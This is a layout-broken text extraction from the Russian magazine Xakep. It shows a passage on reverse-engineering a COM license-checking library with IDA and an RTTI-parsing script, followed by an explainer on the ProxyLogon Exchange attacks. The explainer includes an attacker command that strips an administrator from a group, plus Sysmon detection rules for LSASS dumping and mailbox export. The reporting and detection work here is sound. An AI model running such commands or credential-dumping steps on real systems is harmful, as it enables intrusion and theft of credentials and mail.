перет ран сли руют ся  в  методы  соот ветс тву юще го  клас са.  Бла го  в  опи сании
каж дой  фун кции  есть  ее  индекс  .  Поп робу ем  най ти  эту  биб лиоте ку
типов сре ди зарегис три рован ных в сис теме.

DispID

Для  начала  прос то  запус каем  regedit  и  ищем  наш GUID.  Дей стви тель но,
в вет ке   обна ружи вает ся раз дел

, а в нем — целых три под разде‐ 
ла.  В  одном  из  них,  озаг лавлен ном  ,  мы  видим  дру гой  GUID 

  Теперь  вобь ем  в  поиск  уже
его, и наше тер пение воз награж дает ся: мы находим это зна чение в парамет‐ 
ре    раз дела 

.  Этот  GUID  нам  до  боли  зна ком,  мы  видели  его
в заголов ке нашей мно гос тра даль ной биб лиоте ки:

HKLMACHINE\SOFTWARE\Classes\Interface\
{3F5942E1‐108B‐11d4‐B050‐000001260696}

TypeLib
.{62C8FE65‐4EBB‐45E7‐B440‐6E39B2CDBF29}

TypeLib HKEY_CLASSES_ROOT\CLSID\{67283557‐1256‐3349‐
A135‐055B16327CED}

 
   

[ClassInterface(0), ComSourceInterfaces("LICCHECKLib._ICheckerEvents\
0\0"), Guid("67283557‐1256‐3349‐A135‐055B16327CED"), TypeLibType(2)]

Этот  раз дел  содер жит мно го  инте рес ного,  но  глав ное —  в  под разде ле 
 мы находим пол ный путь к  , который мож но пре‐ 

пари ровать! Вооб ще говоря, тот же резуль тат мож но (и нуж но) было получить
гораз до  про ще.  У  Microsoft  есть  малень кая,  но  очень  полез ная  ути лита
OLE/COM Object viewer ( ). Она вхо дит в пакет ути лит, пос тавля‐ 
ющих ся вмес те с MSVC. Мы с самого начала зна ли имя клас са, поэто му дос‐ 
таточ но  запус тить ее и най ти  этот  класс в  упо рядо чен ном по алфа виту раз‐ 
деле  .

In‐
procServer32 TypeLibrary

oleview.exe

Controls
Еще мож но было поис кать по име ни клас са и в Regedit, но у Oleview есть

сущес твен ное  пре иму щес тво:  в  кон текс тном  меню  при  выборе  пун кта 
  прог рамма  выда ет  всю  внут реннюю  струк туру  нуж ной

биб лиоте ки  типов,  вклю чая  экспор тиру емые  клас сы  и  методы.  Того  же
эффекта мож но было бы добить ся, заг рузив в него наш OCX через File → View
TypeLib.  По  сути  дела,  он  деком пилиру ет  встро енный  в  биб лиоте ку  TLB,
который  мож но  самому  вытащить  отту да  редак тором  ресур сов  (тре буемый
ресурс так и называ ется: TYPELIB).

View 
Type  Information

Ка залось  бы,  все  у  нас  хорошо,  да  не  очень.  Мы,  по  сути,  вер нулись
на исходную позицию: у нас есть спи сок заголов ков методов с парамет рами,
но как получить их код — неяс но. Нес мотря на то что TypeLibrary пред став ляет
собой стан дар тную биб лиоте ку Windows,  в  отли чие от  экспор тиру емых фун‐ 
кций  DLL  нель зя  прос то  так  взять  и  пос мотреть  спи сок  экспор тиру емых
методов с их точ ками вхо да. Все потому, что COM‐объ екты внут ренние и не
рас кры вают детали сво ей реали зации путем экспор та фун кций. Вмес то это го
COM  пре дос тавля ет  интерфейс  для  соз дания  экзем пля ров  COM‐клас са
через вызов   с исполь зовани ем UUID (обыч но извес тно го
CLSID) в качес тве средс тва иден тифика ции клас са COM.

CoCreateInstance

Воз вра щаемый  объ ект  —  это  объ ект  C++,  реали зующий  набор  API‐
интерфей сов,  которые  пред став лены  в  виде  таб лицы  вир туаль ных  фун кций
для  это го  COM‐объ екта.  Поэто му  нет  необ ходимос ти  экспор тировать  эти
фун кции, и  ты не можешь най ти их с помощью пред став ления экспор та  IDA.
Пос коль ку  реали зация  дан ной  выдачи может  варь иро вать ся  раз работ чиком
каж дой  кон крет ной  TypeLibrary,  не  сущес тву ет  уни вер саль ных  методов
реверс‐инжи нирин га  для  подоб ных  биб лиотек.  Хотя  спра вед ливос ти  ради
надо  ска зать,  что  начиная  с  кон ца  шес тых  вер сий  IDA  силь но  эво люци они‐ 
рова ла в дан ном воп росе.

Что ж, для начала поп робу ем смо дели ровать вызов метода из сво ей прог‐ 
раммы.  Не  буду  вда вать ся  в  неп ростые  под робнос ти  прог рамми рова ния
COM‐кли ента, они очень под робно и доход чиво   на сай те «Пер вые
шаги». Отсю да же берем и готовый код кли ента:

рас писаны

#include "windows.h"
#include "iostream.h"
#include  "initguid.h"

DEFINE_GUID(IID_Step,
                   0x3f5942e2, 0x108b, 0x11d4, 0xb0, 0x50, 0x0, 0x0, 0x1, 0x26, 0x6,

0x96);

         class IStep : public IUnknown {
 public:
   IStep();
     virtual ~IStep();
       STDMETHOD(MyComMessage) () PURE;
};

   void main() {
         cout << "Initializing COM" << endl;
               if( FAILED( CoInitialize( NULL ) ) ) {
           cout << "Unable to initialize COM" << endl;
     return ;
 }

   CLSID clsid;
             HRESULT hr = ::CLSIDFromProgID( L"LicCheck.Checker.1", &clsid );

           if( FAILED( hr ) ) {
           cout << "Unable to get CLSID " << endl;
     return ;
 }

   IClassFactory* pCF;
       hr = CoGetClassObject( clsid,
                        CLSCTX_INPROC,
                        NULL,
                        IID_IClassFactory,

                           (void**) &pCF );
             if ( FAILED( hr ) ) {
           cout << "Failed to GetClassObject " << endl;
     return ;
 }

   IUnknown* pUnk;
               hr = pCF‐>CreateInstance( NULL, IID_IUnknown, (void**) &pUnk );
 pCF‐>Release();
           if( FAILED( hr ) ) {
           cout << "Failed to create server instance " << endl;
     return ;
 }
         cout << "Instance created" << endl;

       IStep* pStep = NULL;
             hr = pUnk‐>QueryInterface( IID_Step, (void**) &pStep );
 pUnk‐>Release();
           if( FAILED( hr ) ) {

            cout << "QueryInterface() for IStep failed" << endl;
     CoUninitialize();

      return ;
 }

 pStep‐>MyComMessage();
 pStep‐>Release();
         cout << "Shuting down COM" << endl;
 CoUninitialize();
}

В мак росе   мы пос тавили свой GUID, что бы обра щение велось
имен но  к  нашему  клас су.  Не  будем  замора чивать ся  и  менять  объ явле ние
клас са  ,  в  нем  уже  есть  один  метод.  Нас,  по  сути,  инте ресу ет  реали‐ 
зация самой таб лицы адре сов. Мы даже не будем возить ся с парамет рами,
хотя  если  мы  нач нем  вдум чиво  и  пол ноцен но  копать  кон крет ный  метод
в отладчи ке, то нам таки при дет ся это делать. Одна ко в пер вом приб лижении
для прос тоты при мера опус тим эти мелочи.

DEFINE_GUID

IStep

Итак,  ском пилиро вав  этот  любез но  пре дос тавлен ный  авто ром  при мер,
заг рузив его в отладчик и исполняя дан ный код пошаго во, мы замеча ем, что
пос ле  вызова    наша  биб лиоте ка  типов  заг ружа ется
в память про цес са и на нее уже мож но ста вить бря ки. А 

  воз вра щает  собс твен ный  ука затель  на  ука затель  на  таб лицу  вир туаль‐ 
ных методов  . И тут нас сно ва ждет облом: это явно не та таб лица,
которую мы ищем.

CoGetClassObject
pUnk‐>QueryInter‐

face
1012E1DC

При  даль нейшем  изу чении  вид но,  что  в  най ден ной  таб лице  все го  пять
методов, а у нас свы ше полусот ни, да и код этих методов по переда ваемым
парамет рам  явно  не  соот ветс тву ет  заголов кам.  Нем ножко  подумав,  мы
понима ем,  в  чем  дело:  пред ложен ный  при мер  реали зовы вал ся  через  фаб‐ 
рику клас сов. Собс твен но,   и воз вра щает интерфейс этой
самой  фаб рики,  содер жащей ся  в  биб лиоте ке  типов.  Одна ко  нам  нуж на
не она, нам нужен наш род ной класс  , точ нее, его таб лица вир туаль‐ 
ных методов.

CoGetClassObject

Checker

Яс но, что в дан ной биб лиоте ке таких таб лиц как собак нереза ных и, что бы
получить  дос туп  имен но  к  нуж ной,  надо  дол го  и  упор но  изу чать  чудовищ но
запутан ные и нелогич ные май кро соф тов ские ману алы по COM, которые (что
обид нее  все го)  нам,  ско рее  все го,  и  не  понадо бят ся  вне  решения  дан ной
задачи.  Поэто му  откла дыва ем  пока  упо мяну тый  спо соб  как  запас ной  (как
толь ко у нас появит ся адрес нуж ной таб лицы, его, нес мотря ни на что, впол не
мож но исполь зовать для гряз ной отладки методов) и воз вра щаем ся к IDA.

Как я  уже  говорил, на пер вый взгляд все выг лядит  так же уны ло. Из биб‐ 
лиоте ки  тор чат  уши  четырех  экспор тиру емых  фун кций:  ,

,    и  ,
при помощи которых отыс кать нуж ную  таб лицу весь ма проб лематич но. Наз‐ 
вания методов  в  коде  (помимо  встро енно го  ресур са  )  тоже  отсутс‐ 
тву ют, и вооб ще дан ный раз дел весь ма сла бо задоку мен тирован. По счастью,
наш лись  умные  люди,  которые  рас ковыря ли  прин цип  раз мещения  таб лиц
вир туаль ных адре сов в биб лиоте ке  типов, ском пилиро ван ных ком пилято ром
C++.

DllCanUnloadNow
DllGetClassObject DllRegisterServer DllUnregisterServer

TYPELIB

Ра зуме ется, эти дан ные получе ны чис то эмпи ричес ки и зависят от реали‐ 
зации ком пилято ра, поэто му все гаран тии, что так будет вез де и всег да, весь‐ 
ма  смут ны  и  осно ваны  на  сов мести мос ти  с  сог лашени ями  о  вызовах  COM,
которые  тре буют  пос ледова тель ного  наз начения  сло тов  для  вир туаль ных
фун кций. Базовая струк тура, которая опи сыва ет каж дый класс, — так называ‐ 
емый RTTI Complete Object Locator — выг лядит вот так:

       typedef const struct _s__RTTICompleteObjectLocator {
     unsigned long signature;
     unsigned long offset;
     unsigned long cdOffset;
   _TypeDescriptor *pTypeDescriptor;
   __RTTIClassHierarchyDescriptor *pClassDescriptor;
 } __RTTICompleteObjectLocator;

Нам нуж ны в ней два поля (осталь ные пус тые) —  , которое
ука зыва ет  на  имя  клас са,  и  вто рое,  ука зыва ющее  на  опи сатель  иерар хии
базовых  клас сов  .  Пос ледний  содер жит  количес тво
базовых клас сов и ука затель на их мас сив:

pTypeDescriptor

pClassDescriptor

       typedef const struct _s__RTTIClassHierarchyDescriptor {
     unsigned long signature;
     unsigned long attributes;
     unsigned long numBaseClasses;
   __RTTIBaseClassArray *pBaseClassArray;
 } __RTTIClassHierarchyDescriptor;

Дан ный мас сив содер жит ука зате ли, ука зыва ющие, в свою оче редь, на 
 каж дого базово го клас са, при чем обыч но пер вый из них — наш

класс. Для наг ляднос ти при веду схе му раз мещения дан ных струк тур и их свя‐ 
зи  друг  c  дру гом  на  при мере  кон крет ного  клас са  .
Таб лицу  вир туаль ных  методов  которо го,  кста ти  ска зать,  воз вра щает  код
из опи сан ного выше при мера.

Type‐
Descriptor

ATL::CComClassFactory

Таб лица вир туаль ных методов

Как вид но из рисун ка, у него шесть базовых клас сов,   сос тоит из пяти
методов.  Исхо дя  из  ска зан ного  выше,  при меня ем  эмпи ричес кий  прин цип
поис ка   для каж дого клас са. Пос коль ку ком пилятор обыч но дает ком‐ 
пилиро ван ным  клас сам  име на,  начина ющиеся  с  ,  то  тупо  ищем  в  коде
TypeDescriptor по дан ной сиг натуре. По ссыл ке на него ищем RTTI Complete
Object Locator, по ссыл ке на который, в свою оче редь,  . Код питонов‐ 
ско го скрип та для IDA, реали зующе го дан ный поиск, при веден ниже (код взят
из  ):

vftable

vftable
.?AV

vftable

статьи в бло ге Quarkslab

# IDA Python RTTI parser ~pod2g 06/2013
     from idaapi import *
     from idc import *

# TODO: test on 64bit !!!
   addr_size = 4

   first_seg = FirstSeg()
   last_seg = FirstSeg()

     for seg in Segments():
         if seg > last_seg:

          last_seg = seg
         if seg < first_seg:

          first_seg = seg

 def get_pointer(ea):
         if addr_size == 4:

        return Dword(ea)
   else:

        return Qword(ea)

 def in_image(ea):
                 return ea >= first_seg and ea <= SegEnd(last_seg)

 def get_class_name(name_addr):
                     s = Demangle('??_7' + GetString(name_addr + 4) + '6B@', 8)
         if s != None:

        return s[0:len(s)‐11]
   else:

        return GetString(name_addr)

   start = first_seg
 while True:

   # Ищем в коде сигнатуру ".?AV" — обычно так начинаются классы C++
           f = FindBinary(start, SEARCH_DOWN, "2E 3F 41 56")
           start = f + addr_size
         if f == BADADDR:
       break
           rtd = f ‐ 8
   # Преобразуем в нормальное имя и печатаем
           print "Found class: %s (rtd=0x%X)" % (get_class_name(f), rtd)
   # Ищем все ссылки на смещение начала класса — 8
         for xref in XrefsTo(rtd):
       # Следующее слово — смещение rchd

              rchd = get_pointer(xref.frm + addr_size)
       # На всякий случай, вдруг случайное левое смещение

        if in_image(rchd):
           # rcol — RTTI Complete Object Locator

                  rcol = xref.frm ‐ 12
           # rchd + 8 — количество базовых классов

                  rchd_numBaseClasses = Dword(rchd + 8)
           # rchd + 12 — их массив, который по очереди перебираем

                  rchd_pBaseClassArray = get_pointer(rchd + 12)
                for i in range(rchd_numBaseClasses):

                          rbcd = get_pointer(rchd_pBaseClassArray + addr_size *
i)
               # Каждый элемент массива — указатель на базовый класс

                  rbcd_pTypeDescriptor = get_pointer(rbcd)
   

   
               rbcd_pTypeDescriptor_name = get_class_name(
rbcd_pTypeDescriptor + 8)

                    print "  ‐ base class: %s" %
rbcd_pTypeDescriptor_name
           # Ссылка на RTTI Complete Object Locator — vtable

                for xref in XrefsTo(rcol):
                      vtable = xref.frm + addr_size

               break
                print "  ‐ vtable: 0x%X" % vtable

Как  видишь,  прин цип  дос таточ но  прост:  обра щаю  вни мание,  что  сущес тву‐ 
ющий  код  заточен  под  32‐бит ную  архи тек туру,  под  64‐бит ную  его  при дет ся
допили вать,  как  минимум  поменяв  раз мер  сло ва  ,  хотя,
на пер вый взгляд, дан ный прин цип пос тро ения кода харак терен и для нее.

addr_size  =  8

Нат равив дан ный скрипт на нашу биб лиоте ку  типов,  получа ем в  логе  IDA
длин нющую прос тыню,  ибо  клас сов  в биб лиоте ке  содер жится  великое мно‐ 
жес тво. Одна ко в самом начале ее мы видим сле дующее:

     Found class: ATL::CComObjectCached<ATL::CComClassFactory> (rtd=
0x10155070)
       ‐ base class: ATL::CComObjectCached<ATL::CComClassFactory>
       ‐ base class: ATL::CComClassFactory
       ‐ base class: IClassFactory
       ‐ base class: IUnknown
       ‐ base class: ATL::CComObjectRootEx<ATL::CComMultiThreadModel>
       ‐ base class: ATL::CComObjectRootBase
     ‐ vtable: 0x1012E1DC

     Found class: ATL::CComClassFactory (rtd=0x101550BC)
       ‐ base class: ATL::CComClassFactory
       ‐ base class: IClassFactory
       ‐ base class: IUnknown
       ‐ base class: ATL::CComObjectRootEx<ATL::CComMultiThreadModel>
       ‐ base class: ATL::CComObjectRootBase
     ‐ vtable: 0x1012E1F8

     Found class: ATL::CComObjectRootEx<ATL::CComMultiThreadModel> (rtd=
0x10155128)

     Found class: ATL::CComObjectRootBase (rtd=0x10155178)
     Found class: ATL::CComObject<CChecker> (rtd=0x101551A4)

       ‐ base class: ATL::CComObject<CChecker>
       ‐ base class: CChecker
       ‐ base class: ATL::CComObjectRootEx<ATL::CComSingleThreadModel>
       ‐ base class: ATL::CComObjectRootBase
           

   
‐ base class: ATL::IDispatchImpl<IChecker,&_GUID const IID_IChecker

,&_GUID const LIBID_LICCHECKLib,1,0,ATL::CComTypeInfoHolder>
       ‐ base class: IChecker
       ‐ base class: IDispatch
       ‐ base class: IUnknown
       ‐ base class: ATL::CComControl<CChecker,ATL::CWindowImpl<CChecker,
ATL::CWindow,ATL::CWinTraits<1442840576,0>>>
       ‐ base class: ATL::CComControlBase
       ‐ base class: ATL::CWindowImpl<CChecker,ATL::CWindow,ATL::
CWinTraits<1442840576,0>>
       ‐ base class: ATL::CWindowImplBaseT<ATL::CWindow,ATL::CWinTraits<
1442840576,0>>
       ‐ base class: ATL::CWindowImplRoot<ATL::CWindow>
       ‐ base class: ATL::CWindow
       ‐ base class: ATL::CMessageMap
       ‐ base class: ATL::IPersistStreamInitImpl<CChecker>
       ‐ base class: IPersistStreamInit
       ‐ base class: IPersist
       ‐ base class: IUnknown
       ‐ base class: ATL::IOleControlImpl<CChecker>
       ‐ base class: IOleControl
       ‐ base class: IUnknown
       ‐ base class: ATL::IOleObjectImpl<CChecker>
       ‐ base class: IOleObject
       ‐ base class: IUnknown
       ‐ base class: ATL::IOleInPlaceActiveObjectImpl<CChecker>
       ‐ base class: IOleInPlaceActiveObject
       ‐ base class: IOleWindow
       ‐ base class: IUnknown
       ‐ base class: ATL::IViewObjectExImpl<CChecker>
       ‐ base class: IViewObjectEx
       ‐ base class: IViewObject2
       ‐ base class: IViewObject
       ‐ base class: IUnknown
       ‐ base class: ATL::IOleInPlaceObjectWindowlessImpl<CChecker>
       ‐ base class: IOleInPlaceObjectWindowless
       ‐ base class: IOleInPlaceObject
       ‐ base class: IOleWindow
       ‐ base class: IUnknown
       ‐ base class: ISupportErrorInfo
       ‐ base class: IUnknown
       ‐ base class: ATL::IConnectionPointContainerImpl<CChecker>
       ‐ base class: IConnectionPointContainer
       ‐ base class: IUnknown
       ‐ base class: ATL::IPersistStorageImpl<CChecker>
       ‐ base class: IPersistStorage
       ‐ base class: IPersist
       ‐ base class: IUnknown
       ‐ base class: ATL::ISpecifyPropertyPagesImpl<CChecker>
       ‐ base class: ISpecifyPropertyPages
       ‐ base class: IUnknown
       ‐ base class: ATL::IQuickActivateImpl<CChecker>
       ‐ base class: IQuickActivate
       ‐ base class: IUnknown
       ‐ base class: ATL::IDataObjectImpl<CChecker>
       ‐ base class: IDataObject
       ‐ base class: IUnknown
           

       
‐ base class: ATL::IProvideClassInfo2Impl<&_GUID const

CLSID_Checker,&_GUID const DIID__ICheckerEvents,&_GUID const
LIBID_LICCHECKLib,1,0,ATL::CComTypeInfoHolder>
       ‐ base class: IProvideClassInfo2
       ‐ base class: IProvideClassInfo
       ‐ base class: IUnknown
       ‐ base class: ATL::IPropertyNotifySinkCP<CChecker,ATL::
CComDynamicUnkArray>
           ‐ base class: ATL::IConnectionPointImpl<CChecker,&_GUID const
IID_IPropertyNotifySink,ATL::CComDynamicUnkArray>
           ‐ base class: ATL::_ICPLocator<&_GUID const IID_IPropertyNotifySink
>
           ‐ base class: ATL::CComCoClass<CChecker,&_GUID const CLSID_Checker>
     ‐ vtable: 0x1012E6A4

То  есть  адрес  таб лицы  нашего  клас са    —    очень  похож
на нас тоящий. Количес тво ссы лок, во вся ком слу чае, сов пада ет. Для при мера
берем  код  метода  по  про изволь ной  ссыл ке:  количес тво  переда ваемых
парамет ров  вро де  как  в  нор ме.  Что  ж,  мож но  нас  поз дра вить,  похоже,  мы
наш ли  таб лицу  вир туаль ных  методов.  Опи раясь  на  которую,  мож но  с  опре‐ 
делен ной долей уве рен ности ста вить точ ки оста нова в отладчи ке или реконс‐ 
тру иро вать  код.  Вооб ще  говоря,  при  опре делен ной  доле  сно ров ки  мож но
было бы обой тись и без скрип та.

Checker 1012E6A4

Пла гин СlassInformer для IDA

К  при меру,  еще  с  кон ца  6‐х  вер сий  IDA  был  соз дан  пла гин  ,
помога ющий в поис ке и раз борке RTTI (хотя, спра вед ливос ти ради, у меня так
тол ком и не получи лось запус тить его в пол ном объ еме ни на одной вер сии
IDA  из  име ющих ся  под  рукой).  Тем  более  седь мые  вер сии  и  сами  уме ют
искать и отоб ражать RTTI Complete Object Locator, чего, в прин ципе, впол не
дос таточ но для поис ка  .

СlassInformer

vftable
Лож ка дег тя в том, что на один и тот же RTTI Complete Object Locator могут

ссы лать ся нес коль ко  , то есть пол ностью «однокно поч ного» решения
дан ный метод не дает и всег да есть мес то для хакер ской инту иции.

vftable

https://xakep.ru/2021/03/04/dotnet-reversing/
http://www.firststeps.ru/mfc/activex/r.php?31
https://blog.quarkslab.com/visual-c-rtti-inspection.html
https://sourceforge.net/projects/classinformer/


PROXYLOGON

КАК РАБОТАЕТ УЯЗВИМОСТЬ В

И КАК ЕЕ ИСПОЛЬЗУЮТ ХАКЕРЫ
MICROSOFT EXCHANGE SERVER

Валентин Холмогоров
valentin@holmogorov.ru

ВЗЛОМ

Не уяз вимых  прог рамм  не  быва ет  —  эта
исти на  извес тна  каж дому.  Но  ког да  зло‐ 
умыш ленни ки  отыс кива ют  в  каком‐нибудь
соф те  уяз вимос ти  нулево го  дня,  начина‐ 
ется  веселье:  и  для  поль зовате лей,  и  для
раз работ чиков,  которым  при ходит ся
в  авраль ном  режиме  заделы вать  обна‐ 
ружен ные  бре ши.  А  если  это  про исхо дит
с очень популяр ным и широко рас простра‐ 
нен ным ПО, веселье начина ет при обре тать
оттенки  дра мы.  Имен но  это  и  слу чилось
с  Microsoft  Exchange  Server  в  янва‐ 
ре 2021 года.

Од ной  из  пер вых  о  проб лемах  в  Exchange    ком пания  FireEye.
По  информа ции  вен дора,  от  деятель нос ти  хакеров  пос тра дало  мно жес тво
аме рикан ских ком мерчес ких фирм, нес коль ко мес тных орга нов влас ти в раз‐ 
ных шта тах, а  так же один из уни вер ситетов и даже неназ ванный иссле дова‐ 
тель ский  центр.  Кибер прес тупни ки  залива ли  на  взло ман ные  сер веры  Ex‐
change веб‐шел лы с целью неав торизо ван ного дос тупа, уда лен но выпол няли
код и отклю чали работа ющие в сис теме средс тва безопас ности.

со общи ла

Вско ре в Microsoft под твер дили наличие проб лемы и сооб щили, что зло‐ 
деи  исполь зуют  в  сво их  зло дей ских  целях  как минимум  четыре  ранее  неиз‐ 
вес тные уяз вимос ти нулево го дня. Для устра нения которых всем поль зовате‐ 
лям Exchange Server нуж но сроч но уста новить выпущен ные ими пат чи. Одна‐ 
ко  всем  извес тно,  что  накаты вание  обновле ний  —  дело  небыс трое,  тре‐ 
бующее зна читель ных   вре мен ных зат рат, и потому хакеры про‐ 
дол жали  рез вить ся  на  взло ман ных  сер верах  в  течение  еще  нес коль ких
месяцев. Ата ки на Exchange понем ногу пош ли на спад толь ко к кон цу нынеш‐ 
него  мар та.  В  чем  же  зак лючались  эти  уяз вимос ти  и  как  их  исполь зовали
в сво их целях зло умыш ленни ки? Давай раз берем ся.

за пасов пива

ЧТО ПРОИЗОШЛО?
По сооб щени ям ана лити ков из FireEye, хакеры исполь зовали нес коль ко век‐ 
торов  ата ки.  Все  фай лы  на  сер верах  Exchange  соз давались  ими  от  име ни
сис темной  учет ной  записи  ,  име ющей  в  Windows
повышен ные при виле гии, а веб‐шел лы запус кались про цес сом еди ной служ‐ 
бы обме на сооб щени ями Microsoft Exchange  . Родите‐ 
лем обна ружен ных иссле дова теля ми на ском про мети рован ных сер верах вре‐ 
донос ных  фай лов  ока зал ся  про цесс  ,  отве чающий
за  веб‐интерфейс  Exchange  Server.  Иссле дова тели  из  Microsoft  приш ли
к  выводу,  что  за  все ми  эти ми  инци ден тами  сто ит  некая  хакер ская  груп па
под  наз вани ем  HAFNIUM,  которая  рань ше  уже  была  замече на  в  ата ках
на аме рикан ские обо рон ные пред при ятия, юри дичес кие фир мы, ана лити чес‐ 
кие  цен тры  и  лабора тории  по  иссле дова нию  инфекци онных  заболе ваний.
Пред полага ют,  что  эта  груп па  свя зана  с  пра витель ством  Китая,  но  стоп‐ 
роцен тных доказа тель ств это му, разуме ется, нет.

NT  AUTHORITY\SYSTEM

UMWorkerProcess.exe

w3wp.exe

Ис тория началась в янва ре 2021 года, ког да раз работан ная FireEye служ‐ 
ба Mandiant Managed Defense обна ружи ла на одном из сер веров Microsoft Ex‐
change  подоз ритель ный  веб‐шелл.  Скрипт  с  незатей ливым  име нем 

  пытал ся отыс кать  на  сер вере инс тру мен ты обес печения безопас ности
FireEye xAgent, CarbonBlack и CrowdStrike Falcon и сох ранял в жур нал резуль‐ 
тат сво ей работы.

help.
aspx

Фраг мент скрип та help.aspx, иллюс тра ция FireEye

Шелл  был  запущен  про цес сом  ,  который  свя зан
со служ бой еди ной сис темы обме на сооб щени ями Microsoft Exchange Server.
Для  этих  целей  зло умыш ленни ки  вос поль зовались  уяз вимостью 

, которую в Microsoft отнесли к катего рии сред ней сте пени рис ка.

UMWorkerProcess.exe

CVE‐2021‐
26858

Спус тя  при мер но  двад цать  дней  хакеры  совер шили  новое  зло деяние,
залив на сер вер дру гой веб‐шелл с име нем  . Этот скрипт был
обфусци рован  и  обла дал  более  широким  набором  фун кций:  он  поз волял
выпол нять про изволь ные коман ды, а так же прос матри вать содер жимое, уда‐ 
лять, заг ружать на сер вер и запус кать фай лы по желанию ата кующих. Добить‐ 
ся жела емо го хакерам уда лось с исполь зовани ем уяз вимос тей Microsoft Ex‐
change Server.

iisstart.aspx

Фраг мент скрип та iisstart.aspx, иллюс тра ция FireEye

Вско ре ана лити ки FireEye обра тили вни мание еще на один инци дент с запус‐ 
ком  на  сер вере  Exchange  вре донос ного  веб‐шел ла.  На  сей  раз  свя зан ный
с  веб‐интерфей сом  Internet  Information  Server  про цесс    запус тил
коман дную стро ку  ( ), а с помощью ее зло умыш ленни ки, в свою оче‐ 
редь, сох ранили на диск некий файл. Этим фай лом ока зал ся небезыз вес тный
инс тру мент  ,  которым дав но  и  успешно  поль зуют ся
китай ские  хакеры. Неболь шой фай лик  весом все го  лишь 4 Кбайт откры вает
взлом щикам дос туп к фай ловой сис теме и базам дан ных ском про мети рован‐ 
ного сер вера. По боль шому сче ту он пред став ляет собой ком пак тный бэк дор,
которым мож но уда лен но управлять с помощью прос той ути литы с инту итив но
понят ным гра фичес ким интерфей сом.

w3wp.exe
cmd.exe

China Chopper Web Shell

Ути лита управле ния China Chopper име ет удоб ный гра фичес кий
интерфейс

Кро ме того, иссле дова тели уста нови ли, что в обо их этих слу чаях ата кующие
уда ляли  поль зовате ля    из  груп пы 

 кон трол лера домена, к которо му при над лежал ата кован ный
сер вер. Делалось это при помощи коман ды 

.  Если  Exchange
Server  был  раз вернут  в  одно ран говой  сети  без  под клю чения  к  AD,  коман да
выпол нялась локаль но.

administrator Exchange  Organization 
administrators

net group "Exchange Organi‐
zation  administrators"  administrator  /del  /domain

Вы ясни лось,  что  пос ле  успешно го  взло ма  хакеры  исполь зовали  сле‐ 
дующие виды пос тэкс плу ата ции:

кра жа учет ных дан ных поль зовате лей с помощью дам па памяти про цес са
LSASS;

•

ис поль зование оснасток Exchange PowerShell для экспор та поль зователь‐ 
ских поч товых ящи ков;

•

ис поль зование  инс тру мен тов  ,  Nishang  и    для  уда лен‐ 
ного дос тупа к взло ман ному сер веру.

• Covenant PowerCat

Всю добытую информа цию зло деи упа ковы вали с помощью архи вато ра 7zip
и бла гопо луч но ска чива ли со взло ман ных узлов. Ины ми сло вами, на началь‐ 
ном  эта пе  основной  целью  ата кующих  был  сбор  информа ции  на  ском про‐ 
мети рован ных  сер верах  и  хищение  кон фиден циаль ной  поль зователь ской
информа ции.

РАССЛЕДОВАНИЕ
Тща тель ное изу чение этих атак началось сра зу с нес коль ких сто рон: с одной
сто роны  рас копки  воз гла вила  ком пания  FireEye,  инс тру мен ты  безопас ности
которой  пер выми  и  зафик сирова ли  угро зу,  с  дру гой  за  лопаты  взя лись
экспер ты из кор порации Microsoft, авторс тву которой при над лежит уяз вимый
Exchange Server. Чуть поз же к про цес су под клю чилась ESET.

Ис сле дова тели  уста нови ли,  что,  помимо  HAFNIUM,  к  взло мам  с  исполь‐ 
зовани ем уяз вимос тей Exchange Server могут быть при час тны и дру гие хакер‐ 
ские груп пы китай ско го про исхожде ния —  ,   и  . Кибер‐ 
зло деи выпол няли серию атак с исполь зовани ем цепоч ки уяз вимос тей 

,  ,    и  ,  конеч ной
целью которых ста нови лось  уда лен ное выпол нение  кода без про вер ки под‐ 
линнос ти. Эта цепоч ка получи ла общее наиме нова ние ProxyLogon. На одном
из взло ман ных сер веров ана лити ки обна ружи ли целых два раз ных веб‐шел ла,
из  чего  сде лали  вывод,  что  сер вер  ломали  с  помощью  одних  и  тех  же  уяз‐ 
вимос тей  две  незави симые  груп пы  хакеров,  исполь зующие  для  пос тэкс плу‐ 
ата ции раз ный инс тру мен тарий.

LuckyMouse Tick Calypso
CVE‐

2021‐26855 CVE‐2021‐26857 CVE‐2021‐26858 CVE‐2021‐27065

Од ним из харак терных приз наков ком про мета ции было появ ление в сис‐ 
теме подоз ритель ных про цес сов, родите лем которых выс тупа ет про цесс еди‐ 
ной  служ бы  обме на  сооб щени ями  Exchange  .  Кро ме
того, сле ды втор жения могут быть обна руже ны в жур налах событий при ложе‐ 
ний Windows, пос коль ку исполь зование ошиб ки десери али зации в уяз вимос‐ 
ти CVE‐2021‐26857 при водит к регис тра ции оши бок служ бы еди ной сис темы
обме на  сооб щени ями  MSExchange.  В  этих  же  жур налах  мож но  поис кать
события, свя зан ные с запус ком   или  кон соли PowerShell  про цес сом
фрон тенда  IIS  . В свою оче редь,
уяз вимость  CVE‐2021‐26858  исполь зовалась  зло умыш ленни ками  для  уда‐ 
ления  фай лов  на  сер вере,  в  основном  —  став ших  ненуж ными  скрип тов
веб‐шел лов пос ле успешной уста нов ки полез ной наг рузки в виде бэк доров.

UMWorkerProcess.exe

cmd.exe
C:\Windows \System32\inetsrv\w3wp.exe

Ес ли сер вер уже был взло ман, сле ды при сутс твия на нем зло умыш ленни‐ 
ков мож но было обна ружить с помощью Sysmon, если поис кать подоз ритель‐ 
ные фай лы в неп ривыч ных мес тах. Для кра жи поль зователь ских учет ных дан‐ 
ных  зло деи  соз давали  дамп  памяти  LSASS  с  помощью  ути литы  коман дной
стро ки  ,  вызов  которой  так же  мож но  отсле дить  в  логах  или  с
помощью Sysmon:

ProcDump

norm_id=WindowsSysmon label="Process" label=Create
command IN ["* ‐ma lsass*"]

Для  экспор та  дан ных  поч товых  ящи ков  поль зовате лей  Exchange  Server  ата‐ 
кующие  исполь зовали  оснас тку  Exchange  PowerShell,  запуск  которой  лег ко
опре делить,  отсле живая события соз дания про цес са  в Sysmon или про ана‐ 
лизи ровав жур нал событий:

norm_id=WindowsSysmon label="Process" label=Create
image IN ["*\cmd.exe", "*\powershell.exe", "*\powershell_ise.exe"] 
command="*Add‐PSSnapin Microsoft.Exchange.Powershell.Snapin*"

Ес ли  на  сер вере  не  отклю чен  Windows  Defender,  появ ляет ся  воз можность
опре делить  вре донос ную  активность  при  обна руже нии  исполь зуемых  ата‐ 
кующи ми скрип тов и полез ной наг рузки,  которые Defender детек тиру ет  сле‐ 
дующим обра зом:

Exploit:Script/Exmann.A!dha;•
